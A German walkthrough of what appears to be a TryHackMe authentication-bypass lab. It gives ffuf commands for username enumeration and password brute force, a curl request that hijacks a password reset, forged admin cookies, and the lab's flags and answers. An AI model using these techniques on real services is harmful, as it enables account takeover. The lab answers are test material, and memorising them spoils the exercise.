Mit Lichtgeschwindigkeit geht es an den Authentifizierungen vorbei *badum tss*

Task 1 Brief

Der Name sagt alles. Keine Fragen, keine Antworten.

Task 2 Username Enumeration

Frage 1:
What is the username starting with si*** ?

Wir benutzen wieder den vorgegebenen Befehl, passen ihn aber an unsere Verzeichnisse an:

ffuf -w /usr/share/seclists/Usernames/Names/names.txt -X POST -d "username=FUZZ&email=x&password=x&cpassword=x" -H "Content-Type: application/x-www-form-urlencoded" -u http://10.10.138.227/customers/signup -mr "username already exists"

Das Ergebnis kann sich sehen lassen:

--snip--
admin                   [Status: 200, Size: 3720, Words: 992, Lines: 77, Duration: 69ms]
robert                  [Status: 200, Size: 3720, Words: 992, Lines: 77, Duration: 71ms]
simon                   [Status: 200, Size: 3720, Words: 992, Lines: 77, Duration: 71ms]
steve                   [Status: 200, Size: 3720, Words: 992, Lines: 77, Duration: 71ms]
:: Progress: [10177/10177] :: Job [1/1] :: 583 req/sec :: Duration: [0:00:18] :: Errors: 0 ::

Antwort 1:
simon

Frage 2:
What is the username starting with st*** ?

Antwort 2:
steve

Frage 3:
What is the username starting with ro**** ?

Antwort 3:
robert

Unsere Ergebnisse speichern wir als valid_usernames.txt auf unserem Desktop.

Task 3 Brute Force

Frage 1:
What is the valid username and password (format: username/password)?

Wir passen zuerst wieder den Befehl unseren Bedürfnissen an:

ffuf -w ./Desktop/valid_usernames.txt:W1,/usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-100.txt:W2 -X POST -d "username=W1&password=W2" -H "Content-Type: application/x-www-form-urlencoded" -u http://10.10.138.227/customers/login -fc 200
--snip--
[Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 97ms]
    * W1: steve
    * W2: thunder

:: Progress: [404/404] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::

Antwort 1:
steve/thunder

Task 4 Logic Flaw

Frage 1:
What is the flag from Robert’s support ticket?

Zunächst folgen wir der Anleitung und erstellen uns einen Email-Account auf der angegebenen Seite.

Nun passen wir den Befehl an unsere Bedürfnisse an und probieren ihn aus:

curl 'http://10.10.138.227/customers/reset?email=robert@acmeitsupport.thm' -H 'Content-Type: application/x-www-form-urlencoded' -d 'username=robert&email=test@customer.acmeitsupport.thm'

ALs Ausgabe erhalten wir etwas html Code, dieser interessiert uns aber nicht. Wir wechseln auf unser Benutzer-Dashboard und sehen eine Nachricht:

Öffnen wir diese sehen wir, dass wir die Zurücksetzung des Passworts erfolgreich abgefangen haben:

Eine Seite besuchen und automatisch einloggen? Na klar!

Nachdem wir uns in das fremde Konto „eingeloggt“ haben sehen wir ein neues Ticket, welches wir gleich öffnen.

Hier erhalten wir unsere Lösung!

Antwort 1:
THM{AUTH_BYPASS_COMPLETE}

Task 5 Cookie Tampering

Frage 1:
What is the flag from changing the plain text cookie values?

Hier benutzen wir den angegebenen Befehl:

└─$ curl -H "Cookie: logged_in=true; admin=true" http://10.10.138.227/cookie-test  
Logged In As An Admin - THM{COOKIE_TAMPERING}   

Antwort 1:
THM{COOKIE_TAMPERING}

Frage 2:
What is the value of the md5 hash 3b2a1053e3270077456a79192070aa78 ?

Diese Hashes lassen sich auf Crackstation leicht cracken.

Antwort 2:
463729

Frage 3:
What is the base64 decoded value of VEhNe0JBU0U2NF9FTkNPRElOR30= ?

Das machen wir auf Base64decode.

Antwort 3:
THM{BASE64_ENCODING}

Frage 4:
Encode the following value using base64 {„id“:1,“admin“:true}

Auch hier gehen wir wieder auf Base64, diesmal aber Base64encode.

Antwort 4:
eyJpZCI6MSwiYWRtaW4iOnRydWV9